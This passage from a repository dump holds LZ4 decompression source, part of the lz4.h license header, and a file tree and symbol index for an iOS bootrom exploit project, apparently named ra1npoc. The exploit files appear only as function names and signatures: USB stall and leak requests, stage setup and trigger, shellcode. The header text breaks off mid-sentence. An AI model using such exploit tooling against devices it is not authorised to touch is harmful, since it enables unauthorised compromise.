* In the normal scenario, decoding a full block, it must be the last sequence,
* otherwise it's an error (invalid input or dimensions).
* In partialDecoding scenario, it's necessary to ensure there is no buffer overflow.
*/
if (partialDecoding) {
/* Since we are partial decoding we may be in this block because of the output parsing
* restriction, which is not valid since the output buffer is allowed to be undersized.
*/
DEBUGLOG(7, "partialDecoding: copying literals, close to input or output end")
DEBUGLOG(7, "partialDecoding: literal length = %u", (unsigned)length);
DEBUGLOG(7, "partialDecoding: remaining space in dstBuffer : %i", (int)(oend - op));
DEBUGLOG(7, "partialDecoding: remaining space in srcBuffer : %i", (int)(iend - ip));
/* Finishing in the middle of a literals segment,
* due to lack of input.
*/
if (ip+length > iend) {
length = (size_t)(iend-ip);
cpy = op + length;
}
/* Finishing in the middle of a literals segment,
* due to lack of output space.
*/
if (cpy > oend) {
cpy = oend;
assert(op<=oend);
length = (size_t)(oend-op);
}
} else {
/* We must be on the last sequence (or invalid) because of the parsing limitations
* so check that we exactly consume the input and don't overrun the output buffer.
*/
if ((ip+length != iend) || (cpy > oend)) {
DEBUGLOG(6, "should have been last run of literals")
DEBUGLOG(6, "ip(%p) + length(%i) = %p != iend (%p)", ip, (int)length, ip+length, iend);
DEBUGLOG(6, "or cpy(%p) > oend(%p)", cpy, oend);
goto _output_error;
}
}
LZ4_memmove(op, ip, length); /* supports overlapping memory regions, for in-place decompression scenarios */
ip += length;
op += length;
/* Necessarily EOF when !partialDecoding.
* When partialDecoding, it is EOF if we've either
* filled the output buffer or
* can't proceed with reading an offset for following match.
*/
if (!partialDecoding || (cpy == oend) || (ip >= (iend-2))) {
break;
}
} else {
LZ4_wildCopy8(op, ip, cpy); /* can overwrite up to 8 bytes beyond cpy */
ip += length; op = cpy;
}
/* get offset */
offset = LZ4_readLE16(ip); ip+=2;
match = op - offset;
/* get matchlength */
length = token & ML_MASK;
_copy_match:
if (length == ML_MASK) {
size_t const addl = read_variable_length(&ip, iend - LASTLITERALS + 1, 0);
if (addl == rvl_error) { goto _output_error; }
length += addl;
if (unlikely((uptrval)(op)+length<(uptrval)op)) goto _output_error; /* overflow detection */
}
length += MINMATCH;
#if LZ4_FAST_DEC_LOOP
safe_match_copy:
#endif
if ((checkOffset) && (unlikely(match + dictSize < lowPrefix))) goto _output_error; /* Error : offset outside buffers */
/* match starting within external dictionary */
if ((dict==usingExtDict) && (match < lowPrefix)) {
assert(dictEnd != NULL);
if (unlikely(op+length > oend-LASTLITERALS)) {
if (partialDecoding) length = MIN(length, (size_t)(oend-op));
else goto _output_error; /* doesn't respect parsing restriction */
}
if (length <= (size_t)(lowPrefix-match)) {
/* match fits entirely within external dictionary : just copy */
LZ4_memmove(op, dictEnd - (lowPrefix-match), length);
op += length;
} else {
/* match stretches into both external dictionary and current block */
size_t const copySize = (size_t)(lowPrefix - match);
size_t const restSize = length - copySize;
LZ4_memcpy(op, dictEnd - copySize, copySize);
op += copySize;
if (restSize > (size_t)(op - lowPrefix)) { /* overlap copy */
BYTE* const endOfMatch = op + restSize;
const BYTE* copyFrom = lowPrefix;
while (op < endOfMatch) *op++ = *copyFrom++;
} else {
LZ4_memcpy(op, lowPrefix, restSize);
op += restSize;
} }
continue;
}
assert(match >= lowPrefix);
/* copy match within block */
cpy = op + length;
/* partialDecoding : may end anywhere within the block */
assert(op<=oend);
if (partialDecoding && (cpy > oend-MATCH_SAFEGUARD_DISTANCE)) {
size_t const mlen = MIN(length, (size_t)(oend-op));
const BYTE* const matchEnd = match + mlen;
BYTE* const copyEnd = op + mlen;
if (matchEnd > op) { /* overlap copy */
while (op < copyEnd) { *op++ = *match++; }
} else {
LZ4_memcpy(op, match, mlen);
}
op = copyEnd;
if (op == oend) { break; }
continue;
}
if (unlikely(offset<8)) {
LZ4_write32(op, 0); /* silence msan warning when offset==0 */
op[0] = match[0];
op[1] = match[1];
op[2] = match[2];
op[3] = match[3];
match += inc32table[offset];
LZ4_memcpy(op+4, match, 4);
match -= dec64table[offset];
} else {
LZ4_memcpy(op, match, 8);
match += 8;
}
op += 8;
if (unlikely(cpy > oend-MATCH_SAFEGUARD_DISTANCE)) {
BYTE* const oCopyLimit = oend - (WILDCOPYLENGTH-1);
if (cpy > oend-LASTLITERALS) { goto _output_error; } /* Error : last LASTLITERALS bytes must be literals (uncompressed) */
if (op < oCopyLimit) {
LZ4_wildCopy8(op, match, oCopyLimit);
match += oCopyLimit - op;
op = oCopyLimit;
}
while (op < cpy) { *op++ = *match++; }
} else {
LZ4_memcpy(op, match, 8);
if (length > 16) { LZ4_wildCopy8(op+8, match+8, cpy); }
}
op = cpy; /* wildcopy correction */
}
/* end of decoding */
DEBUGLOG(5, "decoded %i bytes", (int) (((char*)op)-dst));
return (int) (((char*)op)-dst); /* Nb of output bytes decoded */
/* Overflow error detected */
_output_error:
return (int) (-(((const char*)ip)-src))-1;
}
}
/*===== Instantiate the API decoding functions. =====*/
LZ4_FORCE_O2
int LZ4_decompress_safe(const char* source, char* dest, int compressedSize, int maxDecompressedSize)
{
return LZ4_decompress_generic(source, dest, compressedSize, maxDecompressedSize,
decode_full_block, noDict,
(BYTE*)dest, NULL, 0);
}
LZ4_FORCE_O2
int LZ4_decompress_safe_partial(const char* src, char* dst, int compressedSize, int targetOutputSize, int dstCapacity)
{
dstCapacity = MIN(targetOutputSize, dstCapacity);
return LZ4_decompress_generic(src, dst, compressedSize, dstCapacity,
partial_decode,
noDict, (BYTE*)dst, NULL, 0);
}
LZ4_FORCE_O2
int LZ4_decompress_fast(const char* source, char* dest, int originalSize)
{
DEBUGLOG(5, "LZ4_decompress_fast");
return LZ4_decompress_unsafe_generic(
(const BYTE*)source, (BYTE*)dest, originalSize,
0, NULL, 0);
}
/*===== Instantiate a few more decoding cases, used more than once. =====*/
LZ4_FORCE_O2 /* Exported, an obsolete API function. */
int LZ4_decompress_safe_withPrefix64k(const char* source, char* dest, int compressedSize, int maxOutputSize)
{
return LZ4_decompress_generic(source, dest, compressedSize, maxOutputSize,
decode_full_block, withPrefix64k,
(BYTE*)dest - 64 KB, NULL, 0);
}
LZ4_FORCE_O2
static int LZ4_decompress_safe_partial_withPrefix64k(const char* source, char* dest, int compressedSize, int targetOutputSize, int dstCapacity)
{
dstCapacity = MIN(targetOutputSize, dstCapacity);
return LZ4_decompress_generic(source, dest, compressedSize, dstCapacity,
partial_decode, withPrefix64k,
(BYTE*)dest - 64 KB, NULL, 0);
}
/* Another obsolete API function, paired with the previous one. */
int LZ4_decompress_fast_withPrefix64k(const char* source, char* dest, int originalSize)
{
return LZ4_decompress_unsafe_generic(
(const BYTE*)source, (BYTE*)dest, originalSize,
64 KB, NULL, 0);
}
LZ4_FORCE_O2
static int LZ4_decompress_safe_withSmallPrefix(const char* source, char* dest, int compressedSize, int maxOutputSize,
size_t prefixSize)
{
return LZ4_decompress_generic(source, dest, compressedSize, maxOutputSize,
decode_full_block, noDict,
(BYTE*)dest-prefixSize, NULL, 0);
}
LZ4_FORCE_O2
static int LZ4_decompress_safe_partial_withSmallPrefix(const char* source, char* dest, int compressedSize, int targetOutputSize, int dstCapacity,
size_t prefixSize)
{
dstCapacity = MIN(targetOutputSize, dstCapacity);
return LZ4_decompress_generic(source, dest, compressedSize, dstCapacity,
partial_decode, noDict,
(BYTE*)dest-prefixSize, NULL, 0);
}
LZ4_FORCE_O2
int LZ4_decompress_safe_forceExtDict(const char* source, char* dest,
int compressedSize, int maxOutputSize,
const void* dictStart, size_t dictSize)
{
DEBUGLOG(5, "LZ4_decompress_safe_forceExtDict");
return LZ4_decompress_generic(source, dest, compressedSize, maxOutputSize,
decode_full_block, usingExtDict,
(BYTE*)dest, (const BYTE*)dictStart, dictSize);
}
LZ4_FORCE_O2
int LZ4_decompress_safe_partial_forceExtDict(const char* source, char* dest,
int compressedSize, int targetOutputSize, int dstCapacity,
const void* dictStart, size_t dictSize)
{
dstCapacity = MIN(targetOutputSize, dstCapacity);
return LZ4_decompress_generic(source, dest, compressedSize, dstCapacity,
partial_decode, usingExtDict,
(BYTE*)dest, (const BYTE*)dictStart, dictSize);
}
LZ4_FORCE_O2
static int LZ4_decompress_fast_extDict(const char* source, char* dest, int originalSize,
const void* dictStart, size_t dictSize)
{
return LZ4_decompress_unsafe_generic(
(const BYTE*)source, (BYTE*)dest, originalSize,
0, (const BYTE*)dictStart, dictSize);
}
/* The "double dictionary" mode, for use with e.g. ring buffers: the first part
* of the dictionary is passed as prefix, and the second via dictStart + dictSize.
* These routines are used only once, in LZ4_decompress_*_continue().
*/
LZ4_FORCE_INLINE
int LZ4_decompress_safe_doubleDict(const char* source, char* dest, int compressedSize, int maxOutputSize,
size_t prefixSize, const void* dictStart, size_t dictSize)
{
return LZ4_decompress_generic(source, dest, compressedSize, maxOutputSize,
decode_full_block, usingExtDict,
(BYTE*)dest-prefixSize, (const BYTE*)dictStart, dictSize);
}
/*===== streaming decompression functions =====*/
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
LZ4_streamDecode_t* LZ4_createStreamDecode(void)
{
LZ4_STATIC_ASSERT(sizeof(LZ4_streamDecode_t) >= sizeof(LZ4_streamDecode_t_internal));
return (LZ4_streamDecode_t*) ALLOC_AND_ZERO(sizeof(LZ4_streamDecode_t));
}
int LZ4_freeStreamDecode (LZ4_streamDecode_t* LZ4_stream)
{
if (LZ4_stream == NULL) { return 0; } /* support free on NULL */
FREEMEM(LZ4_stream);
return 0;
}
#endif
/*! LZ4_setStreamDecode() :
* Use this function to instruct where to find the dictionary.
* This function is not necessary if previous data is still available where it was decoded.
* Loading a size of 0 is allowed (same effect as no dictionary).
* @return : 1 if OK, 0 if error
*/
int LZ4_setStreamDecode (LZ4_streamDecode_t* LZ4_streamDecode, const char* dictionary, int dictSize)
{
LZ4_streamDecode_t_internal* lz4sd = &LZ4_streamDecode->internal_donotuse;
lz4sd->prefixSize = (size_t)dictSize;
if (dictSize) {
assert(dictionary != NULL);
lz4sd->prefixEnd = (const BYTE*) dictionary + dictSize;
} else {
lz4sd->prefixEnd = (const BYTE*) dictionary;
}
lz4sd->externalDict = NULL;
lz4sd->extDictSize = 0;
return 1;
}
/*! LZ4_decoderRingBufferSize() :
* when setting a ring buffer for streaming decompression (optional scenario),
* provides the minimum size of this ring buffer
* to be compatible with any source respecting maxBlockSize condition.
* Note : in a ring buffer scenario,
* blocks are presumed decompressed next to each other.
* When not enough space remains for next block (remainingSize < maxBlockSize),
* decoding resumes from beginning of ring buffer.
* @return : minimum ring buffer size,
* or 0 if there is an error (invalid maxBlockSize).
*/
int LZ4_decoderRingBufferSize(int maxBlockSize)
{
if (maxBlockSize < 0) return 0;
if (maxBlockSize > LZ4_MAX_INPUT_SIZE) return 0;
if (maxBlockSize < 16) maxBlockSize = 16;
return LZ4_DECODER_RING_BUFFER_SIZE(maxBlockSize);
}
/*
*_continue() :
These decoding functions allow decompression of multiple blocks in "streaming" mode.
Previously decoded blocks must still be available at the memory position where they were decoded.
If it's not possible, save the relevant part of decoded data into a safe buffer,
and indicate where it stands using LZ4_setStreamDecode()
*/
LZ4_FORCE_O2
int LZ4_decompress_safe_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* source, char* dest, int compressedSize, int maxOutputSize)
{
LZ4_streamDecode_t_internal* lz4sd = &LZ4_streamDecode->internal_donotuse;
int result;
if (lz4sd->prefixSize == 0) {
/* The first call, no dictionary yet. */
assert(lz4sd->extDictSize == 0);
result = LZ4_decompress_safe(source, dest, compressedSize, maxOutputSize);
if (result <= 0) return result;
lz4sd->prefixSize = (size_t)result;
lz4sd->prefixEnd = (BYTE*)dest + result;
} else if (lz4sd->prefixEnd == (BYTE*)dest) {
/* They're rolling the current segment. */
if (lz4sd->prefixSize >= 64 KB - 1)
result = LZ4_decompress_safe_withPrefix64k(source, dest, compressedSize, maxOutputSize);
else if (lz4sd->extDictSize == 0)
result = LZ4_decompress_safe_withSmallPrefix(source, dest, compressedSize, maxOutputSize,
lz4sd->prefixSize);
else
result = LZ4_decompress_safe_doubleDict(source, dest, compressedSize, maxOutputSize,
lz4sd->prefixSize, lz4sd->externalDict, lz4sd->extDictSize);
if (result <= 0) return result;
lz4sd->prefixSize += (size_t)result;
lz4sd->prefixEnd += result;
} else {
/* The buffer wraps around, or they're switching to another buffer. */
lz4sd->extDictSize = lz4sd->prefixSize;
lz4sd->externalDict = lz4sd->prefixEnd - lz4sd->extDictSize;
result = LZ4_decompress_safe_forceExtDict(source, dest, compressedSize, maxOutputSize,
lz4sd->externalDict, lz4sd->extDictSize);
if (result <= 0) return result;
lz4sd->prefixSize = (size_t)result;
lz4sd->prefixEnd = (BYTE*)dest + result;
}
return result;
}
LZ4_FORCE_O2 int
LZ4_decompress_fast_continue (LZ4_streamDecode_t* LZ4_streamDecode,
const char* source, char* dest, int originalSize)
{
LZ4_streamDecode_t_internal* const lz4sd =
(assert(LZ4_streamDecode!=NULL), &LZ4_streamDecode->internal_donotuse);
int result;
DEBUGLOG(5, "LZ4_decompress_fast_continue (toDecodeSize=%i)", originalSize);
assert(originalSize >= 0);
if (lz4sd->prefixSize == 0) {
DEBUGLOG(5, "first invocation : no prefix nor extDict");
assert(lz4sd->extDictSize == 0);
result = LZ4_decompress_fast(source, dest, originalSize);
if (result <= 0) return result;
lz4sd->prefixSize = (size_t)originalSize;
lz4sd->prefixEnd = (BYTE*)dest + originalSize;
} else if (lz4sd->prefixEnd == (BYTE*)dest) {
DEBUGLOG(5, "continue using existing prefix");
result = LZ4_decompress_unsafe_generic(
(const BYTE*)source, (BYTE*)dest, originalSize,
lz4sd->prefixSize,
lz4sd->externalDict, lz4sd->extDictSize);
if (result <= 0) return result;
lz4sd->prefixSize += (size_t)originalSize;
lz4sd->prefixEnd += originalSize;
} else {
DEBUGLOG(5, "prefix becomes extDict");
lz4sd->extDictSize = lz4sd->prefixSize;
lz4sd->externalDict = lz4sd->prefixEnd - lz4sd->extDictSize;
result = LZ4_decompress_fast_extDict(source, dest, originalSize,
lz4sd->externalDict, lz4sd->extDictSize);
if (result <= 0) return result;
lz4sd->prefixSize = (size_t)originalSize;
lz4sd->prefixEnd = (BYTE*)dest + originalSize;
}
return result;
}
/*
Advanced decoding functions :
*_usingDict() :
These decoding functions work the same as "_continue" ones,
the dictionary must be explicitly provided within parameters
*/
int LZ4_decompress_safe_usingDict(const char* source, char* dest, int compressedSize, int maxOutputSize, const char* dictStart, int dictSize)
{
if (dictSize==0)
return LZ4_decompress_safe(source, dest, compressedSize, maxOutputSize);
if (dictStart+dictSize == dest) {
if (dictSize >= 64 KB - 1) {
return LZ4_decompress_safe_withPrefix64k(source, dest, compressedSize, maxOutputSize);
}
assert(dictSize >= 0);
return LZ4_decompress_safe_withSmallPrefix(source, dest, compressedSize, maxOutputSize, (size_t)dictSize);
}
assert(dictSize >= 0);
return LZ4_decompress_safe_forceExtDict(source, dest, compressedSize, maxOutputSize, dictStart, (size_t)dictSize);
}
int LZ4_decompress_safe_partial_usingDict(const char* source, char* dest, int compressedSize, int targetOutputSize, int dstCapacity, const char* dictStart, int dictSize)
{
if (dictSize==0)
return LZ4_decompress_safe_partial(source, dest, compressedSize, targetOutputSize, dstCapacity);
if (dictStart+dictSize == dest) {
if (dictSize >= 64 KB - 1) {
return LZ4_decompress_safe_partial_withPrefix64k(source, dest, compressedSize, targetOutputSize, dstCapacity);
}
assert(dictSize >= 0);
return LZ4_decompress_safe_partial_withSmallPrefix(source, dest, compressedSize, targetOutputSize, dstCapacity, (size_t)dictSize);
}
assert(dictSize >= 0);
return LZ4_decompress_safe_partial_forceExtDict(source, dest, compressedSize, targetOutputSize, dstCapacity, dictStart, (size_t)dictSize);
}
int LZ4_decompress_fast_usingDict(const char* source, char* dest, int originalSize, const char* dictStart, int dictSize)
{
if (dictSize==0 || dictStart+dictSize == dest)
return LZ4_decompress_unsafe_generic(
(const BYTE*)source, (BYTE*)dest, originalSize,
(size_t)dictSize, NULL, 0);
assert(dictSize >= 0);
return LZ4_decompress_fast_extDict(source, dest, originalSize, dictStart, (size_t)dictSize);
}
/*=*************************************************
* Obsolete Functions
***************************************************/
/* obsolete compression functions */
int LZ4_compress_limitedOutput(const char* source, char* dest, int inputSize, int maxOutputSize)
{
return LZ4_compress_default(source, dest, inputSize, maxOutputSize);
}
int LZ4_compress(const char* src, char* dest, int srcSize)
{
return LZ4_compress_default(src, dest, srcSize, LZ4_compressBound(srcSize));
}
int LZ4_compress_limitedOutput_withState (void* state, const char* src, char* dst, int srcSize, int dstSize)
{
return LZ4_compress_fast_extState(state, src, dst, srcSize, dstSize, 1);
}
int LZ4_compress_withState (void* state, const char* src, char* dst, int srcSize)
{
return LZ4_compress_fast_extState(state, src, dst, srcSize, LZ4_compressBound(srcSize), 1);
}
int LZ4_compress_limitedOutput_continue (LZ4_stream_t* LZ4_stream, const char* src, char* dst, int srcSize, int dstCapacity)
{
return LZ4_compress_fast_continue(LZ4_stream, src, dst, srcSize, dstCapacity, 1);
}
int LZ4_compress_continue (LZ4_stream_t* LZ4_stream, const char* source, char* dest, int inputSize)
{
return LZ4_compress_fast_continue(LZ4_stream, source, dest, inputSize, LZ4_compressBound(inputSize), 1);
}
/*
These decompression functions are deprecated and should no longer be used.
They are only provided here for compatibility with older user programs.
- LZ4_uncompress is totally equivalent to LZ4_decompress_fast
- LZ4_uncompress_unknownOutputSize is totally equivalent to LZ4_decompress_safe
*/
int LZ4_uncompress (const char* source, char* dest, int outputSize)
{
return LZ4_decompress_fast(source, dest, outputSize);
}
int LZ4_uncompress_unknownOutputSize (const char* source, char* dest, int isize, int maxOutputSize)
{
return LZ4_decompress_safe(source, dest, isize, maxOutputSize);
}
/* Obsolete Streaming functions */
int LZ4_sizeofStreamState(void) { return sizeof(LZ4_stream_t); }
int LZ4_resetStreamState(void* state, char* inputBuffer)
{
(void)inputBuffer;
LZ4_resetStream((LZ4_stream_t*)state);
return 0;
}
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
void* LZ4_create (char* inputBuffer)
{
(void)inputBuffer;
return LZ4_createStream();
}
#endif
char* LZ4_slideInputBuffer (void* state)
{
/* avoid const char * -> char * conversion warning */
return (char *)(uptrval)((LZ4_stream_t*)state)->internal_donotuse.dictionary;
}
#endif /* LZ4_COMMONDEFS_ONLY */
================================================
FILE: lz4/lib/lz4.h
================================================
/*
* LZ4 - Fast LZ compression algorithm
* Header File
* Copyright (C) 2011-2020, Yann Collet.
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
You can contact the author at :
- LZ4 homepage : http://www.lz4.org
- LZ4 source repository : https://github.com/lz4/lz4
*/
#if defined (__cplusplus)
extern "C" {
#endif
#ifndef LZ4_H_2983827168210
#define LZ4_H_2983827168210
/* --- Dependency --- */
#include <stddef.h> /* size_t */
/**
Introduction
LZ4 is lossless compression algorithm, providing compression speed >500 MB/s per core,
scalable with multi-cores CPU. It features an extremely fast decoder, with speed in
multiple GB/s per core, typically reaching RAM speed limits on multi-core systems.
The LZ4 compression library provides in-memory compression and decompression functions.
It gives full buffer control to user.
Compression can be do
gitextract_guufdpmv/ ├── .gitattributes ├── .gitignore ├── .gitmodules ├── LICENSE ├── Makefile ├── README.md ├── README_JP.md ├── ent.xml ├── exploit/ │ ├── common.c │ ├── new.c │ ├── old.c │ └── shellcode/ │ ├── .gitignore │ ├── build.sh │ └── readme.txt ├── headers/ │ ├── .gitignore │ ├── .keep │ ├── build.sh │ ├── legacy_kpf │ ├── legacy_ramdisk │ └── readme.txt ├── helper/ │ ├── pongoterm.c │ └── recovery.c ├── include/ │ ├── common/ │ │ ├── common.h │ │ ├── log.h │ │ └── log2.h │ ├── lz4dec_asm.h │ ├── pongoterm.h │ ├── ra1npoc.h │ └── recovery.h ├── lz4/ │ ├── lib/ │ │ ├── .gitignore │ │ ├── Makefile │ │ ├── lz4.c │ │ ├── lz4.h │ │ ├── lz4_main.h │ │ ├── lz4hc.c │ │ └── lz4hc.h │ └── lz4_main.c └── main.c
SYMBOL INDEX (222 symbols across 10 files)
FILE: exploit/common.c
function RA1NPOC_API (line 31) | RA1NPOC_API transfer_t USBReqStall(client_t *client)
function RA1NPOC_API (line 36) | RA1NPOC_API transfer_t USBReqLeak(client_t *client, unsigned char* blank)
function RA1NPOC_API (line 42) | RA1NPOC_API transfer_t sendData(client_t *client, unsigned char* buf, si...
function RA1NPOC_API (line 47) | RA1NPOC_API transfer_t sendDataTO(client_t *client, unsigned char* buf, ...
function RA1NPOC_API (line 52) | RA1NPOC_API transfer_t getStatus(client_t *client, unsigned char* buf, s...
function RA1NPOC_API (line 57) | RA1NPOC_API transfer_t sendAbort(client_t *client)
function RA1NPOC_API (line 63) | RA1NPOC_API const char *IOReturnName(IOReturn res)
function RA1NPOC_API (line 83) | RA1NPOC_API int isStalled(IOReturn res)
function RA1NPOC_API (line 90) | RA1NPOC_API int isTimeout(IOReturn res)
function RA1NPOC_API (line 97) | RA1NPOC_API void preRetry(client_t *client, unsigned int i)
function RA1NPOC_API (line 111) | RA1NPOC_API int sendPongo_orig(client_t *client, const void* pongoBuf, c...
function RA1NPOC_API (line 137) | RA1NPOC_API int sendPongo(client_t *client, const void* pongoBuf, const ...
FILE: exploit/new.c
function RA1NPOC_STATIC_API (line 44) | RA1NPOC_STATIC_API static bool isWNX(uint64_t cpid)
function RA1NPOC_STATIC_API (line 57) | RA1NPOC_STATIC_API static int setupStage(client_t *client, uint16_t cpid)
function RA1NPOC_STATIC_API (line 222) | RA1NPOC_STATIC_API static int triggerStage(client_t *client, checkra1n_p...
function RA1NPOC_STATIC_API (line 258) | RA1NPOC_STATIC_API static int ra1npocCheckmate(client_t *client, checkra...
function RA1NPOC_STATIC_API (line 291) | RA1NPOC_STATIC_API static int ra1npocCheckmateA7(client_t *client, check...
function RA1NPOC_STATIC_API (line 425) | RA1NPOC_STATIC_API static int generateStage1(uint16_t cpid, void **stage...
function RA1NPOC_API (line 794) | RA1NPOC_API int ra1npoc15(client_t *client, uint16_t cpid)
FILE: helper/pongoterm.c
type AUTOBOOT_STAGE (line 31) | enum AUTOBOOT_STAGE
function RA1NPOC_API (line 55) | RA1NPOC_API int oldPongoTerm(client_t *client)
function RA1NPOC_API (line 327) | RA1NPOC_API int pongoTerm(client_t *client)
FILE: helper/recovery.c
function RA1NPOC_STATIC_API (line 32) | RA1NPOC_STATIC_API static void interval(double sec)
function RA1NPOC_STATIC_API (line 49) | RA1NPOC_STATIC_API static void prog(int sec)
function RA1NPOC_API (line 74) | RA1NPOC_API int enterDFU(client_t *client)
FILE: lz4/lib/lz4.c
function LZ4_isAligned (line 291) | static int LZ4_isAligned(const void* ptr, size_t alignment)
type BYTE (line 303) | typedef uint8_t BYTE;
type U16 (line 304) | typedef uint16_t U16;
type U32 (line 305) | typedef uint32_t U32;
type S32 (line 306) | typedef int32_t S32;
type U64 (line 307) | typedef uint64_t U64;
type uptrval (line 308) | typedef uintptr_t uptrval;
type BYTE (line 313) | typedef unsigned char BYTE;
type U16 (line 314) | typedef unsigned short U16;
type U32 (line 315) | typedef unsigned int U32;
type S32 (line 316) | typedef signed int S32;
type U64 (line 317) | typedef unsigned long long U64;
type uptrval (line 318) | typedef size_t uptrval;
type U64 (line 322) | typedef U64 reg_t;
type reg_t (line 324) | typedef size_t reg_t;
type limitedOutput_directive (line 327) | typedef enum {
function LZ4_isLittleEndian (line 362) | static unsigned LZ4_isLittleEndian(void)
function U16 (line 371) | static U16 LZ4_read16(const void* memPtr) { return *(const U16*) memPtr; }
function U32 (line 373) | static U32 LZ4_read32(const void* memPtr) { return *(const U32*) memPtr; }
function reg_t (line 375) | static reg_t LZ4_read_ARCH(const void* memPtr) { return *(const reg_t*) ...
function LZ4_write16 (line 377) | static void LZ4_write16(void* memPtr, U16 value) { *(U16*)memPtr = value; }
function LZ4_write32 (line 379) | static void LZ4_write32(void* memPtr, U32 value) { *(U32*)memPtr = value; }
type LZ4_unalign16 (line 385) | typedef struct { U16 u16; } __attribute__((packed)) LZ4_unalign16;
type LZ4_unalign32 (line 386) | typedef struct { U32 u32; } __attribute__((packed)) LZ4_unalign32;
type LZ4_unalignST (line 387) | typedef struct { reg_t uArch; } __attribute__((packed)) LZ4_unalignST;
function U16 (line 389) | static U16 LZ4_read16(const void* ptr) { return ((const LZ4_unalign16*)p...
function U32 (line 391) | static U32 LZ4_read32(const void* ptr) { return ((const LZ4_unalign32*)p...
function reg_t (line 393) | static reg_t LZ4_read_ARCH(const void* ptr) { return ((const LZ4_unalign...
function LZ4_write16 (line 395) | static void LZ4_write16(void* memPtr, U16 value) { ((LZ4_unalign16*)memP...
function LZ4_write32 (line 397) | static void LZ4_write32(void* memPtr, U32 value) { ((LZ4_unalign32*)memP...
function U16 (line 401) | static U16 LZ4_read16(const void* memPtr)
function U32 (line 406) | static U32 LZ4_read32(const void* memPtr)
function reg_t (line 411) | static reg_t LZ4_read_ARCH(const void* memPtr)
function LZ4_write16 (line 416) | static void LZ4_write16(void* memPtr, U16 value)
function LZ4_write32 (line 421) | static void LZ4_write32(void* memPtr, U32 value)
function U16 (line 428) | static U16 LZ4_readLE16(const void* memPtr)
function LZ4_writeLE16 (line 438) | static void LZ4_writeLE16(void* memPtr, U16 value)
function LZ4_FORCE_INLINE (line 450) | LZ4_FORCE_INLINE
function LZ4_FORCE_INLINE (line 482) | LZ4_FORCE_INLINE void
function LZ4_FORCE_INLINE (line 508) | LZ4_FORCE_INLINE void
function LZ4_FORCE_INLINE (line 521) | LZ4_FORCE_INLINE void
function LZ4_NbCommonBytes (line 566) | static unsigned LZ4_NbCommonBytes (reg_t val)
function LZ4_count (line 666) | LZ4_FORCE_INLINE unsigned
type tableType_t (line 704) | typedef enum { clearedTable = 0, byPtr, byU32, byU16 } tableType_t;
type dict_directive (line 729) | typedef enum { noDict = 0, withPrefix64k, usingExtDict, usingDictCtx } d...
type dictIssue_directive (line 730) | typedef enum { noDictIssue = 0, dictSmall } dictIssue_directive;
function LZ4_versionNumber (line 736) | int LZ4_versionNumber (void) { return LZ4_VERSION_NUMBER; }
function LZ4_compressBound (line 738) | int LZ4_compressBound(int isize) { return LZ4_COMPRESSBOUND(isize); }
function LZ4_sizeofState (line 739) | int LZ4_sizeofState(void) { return sizeof(LZ4_stream_t); }
function LZ4_FORCE_INLINE (line 765) | LZ4_FORCE_INLINE U32
function LZ4_FORCE_INLINE (line 774) | LZ4_FORCE_INLINE U32
function LZ4_FORCE_INLINE (line 787) | LZ4_FORCE_INLINE U32 LZ4_hashPosition(const void* const p, tableType_t c...
function LZ4_FORCE_INLINE (line 793) | LZ4_FORCE_INLINE void
function LZ4_FORCE_INLINE (line 806) | LZ4_FORCE_INLINE void
function LZ4_FORCE_INLINE (line 820) | LZ4_FORCE_INLINE void
function LZ4_FORCE_INLINE (line 829) | LZ4_FORCE_INLINE void
function LZ4_FORCE_INLINE (line 842) | LZ4_FORCE_INLINE U32
function BYTE (line 859) | static const BYTE* LZ4_getPositionOnHash(U32 h, const void* tableBase, t...
function LZ4_FORCE_INLINE (line 866) | LZ4_FORCE_INLINE const BYTE*
function LZ4_FORCE_INLINE (line 875) | LZ4_FORCE_INLINE void
function LZ4_FORCE_INLINE (line 922) | LZ4_FORCE_INLINE int
function LZ4_FORCE_INLINE (line 1334) | LZ4_FORCE_INLINE int
function LZ4_compress_fast_extState (line 1372) | int LZ4_compress_fast_extState(void* state, const char* source, char* de...
function LZ4_compress_fast_extState_fastReset (line 1404) | int LZ4_compress_fast_extState_fastReset(void* state, const char* src, c...
function LZ4_compress_fast (line 1442) | int LZ4_compress_fast(const char* src, char* dest, int srcSize, int dstC...
function LZ4_compress_default (line 1460) | int LZ4_compress_default(const char* src, char* dst, int srcSize, int ds...
function LZ4_compress_destSize_extState (line 1469) | static int LZ4_compress_destSize_extState (LZ4_stream_t* state, const ch...
function LZ4_compress_destSize (line 1485) | int LZ4_compress_destSize(const char* src, char* dst, int* srcSizePtr, i...
function LZ4_stream_t (line 1510) | LZ4_stream_t* LZ4_createStream(void)
function LZ4_stream_t_alignment (line 1521) | static size_t LZ4_stream_t_alignment(void)
function LZ4_stream_t (line 1531) | LZ4_stream_t* LZ4_initStream (void* buffer, size_t size)
function LZ4_resetStream (line 1543) | void LZ4_resetStream (LZ4_stream_t* LZ4_stream)
function LZ4_resetStream_fast (line 1549) | void LZ4_resetStream_fast(LZ4_stream_t* ctx) {
